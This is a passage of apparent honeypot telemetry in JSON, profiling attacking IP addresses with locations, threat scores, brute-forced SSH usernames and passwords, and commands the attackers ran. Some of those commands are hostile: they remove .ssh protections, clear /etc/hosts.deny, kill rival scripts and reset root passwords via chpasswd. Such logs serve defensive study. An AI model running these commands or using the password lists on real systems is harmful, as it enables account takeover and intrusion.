      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Guangzhou",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T18:04:29.667000+00:00",
        "last_seen_30d": "2026-04-23T18:06:03.701000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "91.230.168.244": {
      "attack_count": 2,
      "first_seen": "2026-04-12T18:45:35.753Z",
      "last_seen": "2026-04-12T18:45:38.755Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 63.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 13.8,
        "persistence": 20.8,
        "diversity": 18,
        "spread": 20,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 25,
        "ports_targeted_30d": 9,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-02T22:41:42+00:00",
        "last_seen_30d": "2026-04-26T00:21:51.208000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 14,
        "Honeytrap": 7,
        "Cowrie": 2,
        "Dionaea": 1
      }
    },
    "2.57.121.25": {
      "attack_count": 3879,
      "first_seen": "2026-04-01T01:18:48.989Z",
      "last_seen": "2026-04-30T22:31:11.034Z",
      "sessions": 429,
      "ports": [],
      "usernames_attempted": [
        "user"
      ],
      "passwords_attempted": [
        "23081982",
        "231189",
        "23121992",
        "2345678",
        "canon1",
        "caspe",
        "cassius",
        "catdaddy",
        "catholic",
        "0000000000o",
        "000069",
        "0077",
        "007700",
        "01011964",
        "0102030405",
        "01021976",
        "01021981",
        "01021982",
        "01021993",
        "01031978"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 69.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 5165,
        "days_active_30d": 30,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T01:18:48.989000+00:00",
        "last_seen_30d": "2026-04-30T22:32:19.274000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3879,
        "Suricata": 1286
      }
    },
    "45.156.87.253": {
      "attack_count": 3053,
      "first_seen": "2026-04-03T17:26:34.950Z",
      "last_seen": "2026-04-27T00:56:31.522Z",
      "sessions": 611,
      "ports": [],
      "usernames_attempted": [
        "root",
        "user",
        "ubuntu",
        "admin",
        "user1",
        "deploy",
        "test",
        "minecraft",
        "steam",
        "git",
        "hadoop",
        "oracle",
        "postgres",
        "app",
        "dmdba",
        "frappe",
        "ftpuser",
        "guest",
        "mysql",
        "student"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "password",
        "1",
        "1234",
        "12345",
        "12345678",
        "1qaz@WSX",
        "123456789",
        "111",
        "abc123",
        "admin",
        "admin123",
        "qwe123",
        "test123",
        "******",
        "111111",
        "123123",
        "Aa123456",
        "Admin@123"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Eygelshoven",
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 58.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 20.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 4270,
        "days_active_30d": 25,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T17:26:34.950000+00:00",
        "last_seen_30d": "2026-04-27T00:57:38.154000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3053,
        "Suricata": 1217
      }
    },
    "27.111.32.174": {
      "attack_count": 1191,
      "first_seen": "2026-04-12T00:09:44.636Z",
      "last_seen": "2026-04-29T22:37:07.004Z",
      "sessions": 145,
      "ports": [],
      "usernames_attempted": [
        "root",
        "user",
        "ubuntu",
        "345gs5662d34",
        "admin",
        "test",
        "oracle",
        "deploy",
        "postgres",
        "sammy",
        "deployer",
        "ec2-user",
        "ftpuser",
        "git",
        "minecraft",
        "n8n",
        "steam",
        "ts3",
        "ac",
        "ali"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "P@ssw0rd",
        "!QAZ1qaz",
        "090909",
        "11223344",
        "123",
        "123321",
        "1234",
        "1234567",
        "12345678",
        "123789",
        "142536",
        "147258369",
        "14881488",
        "1qaz!QAZ!QAZ",
        "1qq2w3e4r5t",
        "A123123Z",
        "AAA123123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"123456\\nsn1Va0iW6LQt\\nsn1Va0iW6LQt\\n\"|passwd",
        "echo \"142536\\noLFEImV7QdZa\\noLFEImV7QdZa\\n\"|passwd",
        "echo \"oracle@2025\\ntVTM5uCwSP4x\\ntVTM5uCwSP4x\\n\"|passwd",
        "echo \"root:2DhD7pYgYtv1\"|chpasswd|bash",
        "echo \"root:WDIo03IBpe6d\"|chpasswd|bash",
        "echo \"root:c7I3kmznhRTC\"|chpasswd|bash",
        "echo \"root:mLZJ2XSN5Hgd\"|chpasswd|bash",
        "echo \"test11\\n6Z4yiXGXFSGw\\n6Z4yiXGXFSGw\\n\"|passwd",
        "echo -e \"123456\\nsn1Va0iW6LQt\\nsn1Va0iW6LQt\"|passwd|bash",
        "echo -e \"142536\\noLFEImV7QdZa\\noLFEImV7QdZa\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 24532,
      "as_org": "PT. Inet Global Indo",
      "threat_score": 55.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 1523,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T00:09:44.636000+00:00",
        "last_seen_30d": "2026-04-29T22:38:13.312000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1191,
        "Suricata": 332
      }
    },
    "103.189.235.30": {
      "attack_count": 655,
      "first_seen": "2026-04-08T15:03:41.496Z",
      "last_seen": "2026-04-22T13:55:35.172Z",
      "sessions": 84,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ali",
        "claude",
        "ftp_test",
        "gpadmin",
        "odoo",
        "postgres",
        "proxyuser",
        "server",
        "test",
        "ubuntu",
        "user",
        "vpn",
        "bot",
        "deploybot",
        "dev",
        "frappe",
        "ftpadmin",
        "ftptest"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "password",
        "test123",
        "123",
        "123456Ti",
        "1234@asdf",
        "123qwe",
        "1qaz2wsx2026",
        "8i9o0p-[",
        "A123456789B",
        "A1s2d3f4",
        "ABcd123456",
        "Admin123456!@#",
        "Admin@storage",
        "Ali19",
        "Ali26",
        "Claude!",
        "Dev11!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\nuNWBA9uxH87O\\nuNWBA9uxH87O\\n\"|passwd",
        "echo \"password\\nBO4iHp205IvQ\\nBO4iHp205IvQ\\n\"|passwd",
        "echo \"proxyuser\\nFlNmHbkzAcTw\\nFlNmHbkzAcTw\\n\"|passwd",
        "echo \"root:M9jWuKZqqUSe\"|chpasswd|bash",
        "echo -e \"123456\\nuNWBA9uxH87O\\nuNWBA9uxH87O\"|passwd|bash",
        "echo -e \"password\\nBO4iHp205IvQ\\nBO4iHp205IvQ\"|passwd|bash",
        "echo -e \"proxyuser\\nFlNmHbkzAcTw\\nFlNmHbkzAcTw\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 138608,
      "as_org": "Cloud Host Pte Ltd",
      "threat_score": 39.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 29.3,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 847,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T15:03:41.496000+00:00",
        "last_seen_30d": "2026-04-22T13:56:35.737000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 655,
        "Suricata": 192
      }
    },
    "185.233.3.95": {
      "attack_count": 635,
      "first_seen": "2026-04-02T23:28:08.517Z",
      "last_seen": "2026-04-15T21:42:51.839Z",
      "sessions": 57,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "steam",
        "mohit",
        "user",
        "ali",
        "clamav",
        "frappe",
        "tempuser",
        "teste",
        "ubuntu",
        "xxx"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "121212",
        "1234.qwe",
        "123456",
        "123456789@Ab",
        "12345687",
        "159357qaz",
        "1q2w3e4r5t",
        "3edc4RFV",
        "ASDF!!",
        "Aa112211.",
        "Ali14!",
        "Founder123",
        "Gandalf4You1434",
        "Micr0s0ft",
        "Oo123456!",
        "Steam08!",
        "TANDBERG"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Steam08!\\n5Ja4ex6aNCVU\\n5Ja4ex6aNCVU\\n\"|passwd",
        "echo \"mohit@123\\n3BJMKrhXH7N0\\n3BJMKrhXH7N0\\n\"|passwd",
        "echo \"root:9uxBReP5Om1A\"|chpasswd|bash",
        "echo \"root:hHPPQ2mzFwzC\"|chpasswd|bash",
        "echo \"root:of4SjyHZtPJ4\"|chpasswd|bash",
        "echo \"root:yM6cV2l606Kl\"|chpasswd|bash",
        "echo -e \"Steam08!\\n5Ja4ex6aNCVU\\n5Ja4ex6aNCVU\"|passwd|bash",
        "echo -e \"mohit@123\\n3BJMKrhXH7N0\\n3BJMKrhXH7N0\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Kazakhstan",
      "country_code": "KZ",
      "city": "Almaty",
      "asn": 48096,
      "as_org": "Enterprise Cloud Ltd.",
      "threat_score": 26.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.9,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 768,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T23:28:08.517000+00:00",
        "last_seen_30d": "2026-04-15T21:44:01.066000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 635,
        "Suricata": 133
      }
    },
    "198.98.55.71": {
      "attack_count": 592,
      "first_seen": "2026-04-09T06:52:06.095Z",
      "last_seen": "2026-04-20T17:03:42.615Z",
      "sessions": 60,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ftpuser",
        "user",
        "ubuntu",
        "admin",
        "demo",
        "deploy",
        "ftp1user",
        "ftptest",
        "git",
        "intern",
        "marc",
        "media",
        "morgan",
        "nodered",
        "postgres",
        "s",
        "teamspeak",
        "test1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ2wsx#EDC",
        "11111111",
        "123",
        "1234",
        "12345",
        "123456789",
        "1234567890Qwertyuiop",
        "1QAZ2wsx!",
        "1q2w3e4r5t.",
        "@2025",
        "A123456F",
        "Asdf12345",
        "Ftpuser08",
        "L@y3rh0st2026",
        "P4ssw0rd",
        "P@ssw0rd@1234",
        "Qaz123456789",
        "Qazwsx001!@"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Ftpuser08\\nbwe9ERuz7Fgj\\nbwe9ERuz7Fgj\\n\"|passwd",
        "echo \"root:CF9dDu6jywIg\"|chpasswd|bash",
        "echo \"root:CbcIbiKg5lYD\"|chpasswd|bash",
        "echo \"root:tQHlhnzd4uFX\"|chpasswd|bash",
        "echo \"zaq1@WSX\\nZ5Pw07Fjx7dr\\nZ5Pw07Fjx7dr\\n\"|passwd",
        "echo -e \"Ftpuser08\\nbwe9ERuz7Fgj\\nbwe9ERuz7Fgj\"|passwd|bash",
        "echo -e \"zaq1@WSX\\nZ5Pw07Fjx7dr\\nZ5Pw07Fjx7dr\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Staten Island",
      "asn": 53667,
      "as_org": "FranTech Solutions",
      "threat_score": 33.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.6,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 726,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T06:52:06.095000+00:00",
        "last_seen_30d": "2026-04-20T17:04:50.203000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 592,
        "Suricata": 134
      }
    },
    "101.32.240.31": {
      "attack_count": 565,
      "first_seen": "2026-04-03T04:58:58.672Z",
      "last_seen": "2026-04-09T11:24:12.826Z",
      "sessions": 55,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "test",
        "ftpuser",
        "helpdesk",
        "int",
        "setup",
        "teamspeak",
        "tom",
        "work"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "25257758",
        "321",
        "@!qwer123",
        "@a123456789",
        "ABC123456",
        "Abc@12345678",
        "Abcd123456!!",
        "Admin123!@",
        "Admin@888",
        "Cc1234567",
        "Huawei@CLOUD8!",
        "Jelszo1234",
        "Lv123456",
        "Pa55w0rd@2026",
        "QA2ws3ed",
        "QAZwsx123",
        "QWER_1234",
        "Qazwsx0!@"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:0MMZRLwT6gnr\"|chpasswd|bash",
        "echo \"root:8j0i0NtNl02O\"|chpasswd|bash",
        "echo \"root:TRRs7wnjIbv3\"|chpasswd|bash",
        "echo \"root:VNyDf0zPnoz6\"|chpasswd|bash",
        "echo \"root:xfLgeNy9cNvy\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 13.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.4,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 695,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T04:58:58.672000+00:00",
        "last_seen_30d": "2026-04-09T11:25:13.059000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 565,
        "Suricata": 130
      }
    },
    "211.228.218.47": {
      "attack_count": 557,
      "first_seen": "2026-04-10T17:46:42.437Z",
      "last_seen": "2026-04-28T19:08:24.842Z",
      "sessions": 65,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "user1",
        "admin",
        "postgres",
        "ali",
        "git",
        "mysql",
        "root/1234567",
        "steam",
        "Test",
        "admin2",
        "bitrix",
        "bot",
        "david",
        "dev",
        "ftpuser",
        "james",
        "mc"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456",
        "test",
        "0",
        "11",
        "123123",
        "1234",
        "123456Qwer",
        "1234Qwer",
        "1q2w3e4r",
        "654321",
        "A12345649",
        "A1234567090",
        "Abcde12345",
        "Bot29!",
        "Ftpuser10",
        "P@ssw0rd1",
        "QWERTY12345678"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"mysqluser\\nQ1jX8oiR4UwH\\nQ1jX8oiR4UwH\\n\"|passwd",
        "echo \"qweasd\\nVUkM1P51aFm9\\nVUkM1P51aFm9\\n\"|passwd",
        "echo \"root:42UIIYsSg0GE\"|chpasswd|bash",
        "echo \"root:Kn0YlSman0x4\"|chpasswd|bash",
        "echo -e \"mysqluser\\nQ1jX8oiR4UwH\\nQ1jX8oiR4UwH\"|passwd|bash",
        "echo -e \"qweasd\\nVUkM1P51aFm9\\nVUkM1P51aFm9\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Dong-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 52.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.5,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 702,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T17:46:42.437000+00:00",
        "last_seen_30d": "2026-04-28T19:09:31.149000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 557,
        "Suricata": 145
      }
    },
    "103.13.206.142": {
      "attack_count": 534,
      "first_seen": "2026-04-13T12:04:08.889Z",
      "last_seen": "2026-04-24T16:42:37.713Z",
      "sessions": 60,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "runner",
        "test",
        "ubuntu",
        "admin",
        "n8n",
        "postgres",
        "steam",
        "Azure",
        "deploy",
        "dev",
        "frappe",
        "going",
        "incoming",
        "lee",
        "mk",
        "odoo",
        "pgadmin",
        "sammy"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "1",
        "123456",
        "12345678",
        "12345679",
        "123456Aa",
        "123asd!@#ASD",
        "3edc@WSX!QAZ",
        "Aa123456@",
        "Abc@123456789",
        "CONGming2261@",
        "Dev28!",
        "Frappe01",
        "Frappe10!",
        "Joysuch@Locate2020",
        "Linux@2026",
        "Ly123456",
        "N8n!2025"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"N8n!2025\\ne0VDoAlXZObo\\ne0VDoAlXZObo\\n\"|passwd",
        "echo \"root:TzHN4L0HKTcc\"|chpasswd|bash",
        "echo \"root:iusao3IRRTGC\"|chpasswd|bash",
        "echo \"root\\nIRF6qoXT5Hnk\\nIRF6qoXT5Hnk\\n\"|passwd",
        "echo -e \"N8n!2025\\ne0VDoAlXZObo\\ne0VDoAlXZObo\"|passwd|bash",
        "echo -e \"root\\nIRF6qoXT5Hnk\\nIRF6qoXT5Hnk\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 138608,
      "as_org": "Cloud Host Pte Ltd",
      "threat_score": 40.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.3,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 673,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-13T12:04:08.889000+00:00",
        "last_seen_30d": "2026-04-24T16:43:42.353000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 534,
        "Suricata": 139
      }
    },
    "27.79.3.198": {
      "attack_count": 472,
      "first_seen": "2026-04-23T11:31:55.795Z",
      "last_seen": "2026-04-23T11:59:01.489Z",
      "sessions": 94,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "ftp",
        "test",
        "user",
        "1234",
        "123456",
        "ace",
        "anton",
        "ashish",
        "backup",
        "belkinstyle",
        "btf",
        "cisco",
        "config",
        "cpanel",
        "db2inst2",
        "developer",
        "ftpuser",
        "george"
      ],
      "passwords_attempted": [
        "admin",
        "123456",
        "1234",
        "abc123",
        "password",
        "0987654321",
        "0l0ctyQh243O63uD",
        "1",
        "1111",
        "111111",
        "12345",
        "12345678",
        "1234567890%*()",
        "321start",
        "72b1bd75ac87852a",
        "72ca06",
        "91482d",
        "@",
        "Deadstar!",
        "OkwKcECs8qJP2Z"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 33.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.4,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.77
      },
